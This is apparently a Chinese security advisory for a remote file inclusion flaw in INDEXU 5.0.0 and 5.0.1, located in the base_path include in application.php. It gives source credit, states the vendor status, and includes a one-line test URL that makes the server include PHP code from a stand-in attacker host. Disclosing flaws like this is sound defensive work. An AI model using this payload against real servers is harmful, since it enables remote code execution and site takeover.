受影响系统：
nicecoder.com INDEXU 5.0.1
nicecoder.com INDEXU 5.0.0
描述：
--------------------------------------------------------------------------------
INDEXU是一款功能强大的建站解决方案。
INDEXU实现上存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。
在INDEXU的application.php代码中没有正确的过滤include fopen url。攻击者可以利用这个漏洞注入php代码。application.php中代码如下：
---------------application.php--------------------------------
...
include($base_path."lang/english.php"); // full path
include($base_path."pagination.class.php"); // full path
...
------------------------------------------------------------------
<*来源：M.Hasran Addahroni （eufrato@gmail.com）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=113951690506527&w=2
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
http://www.target.com/[path]/application.php?base_path=http://attacker.com/evil?
建议：
--------------------------------------------------------------------------------
厂商补丁：
nicecoder.com
-------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：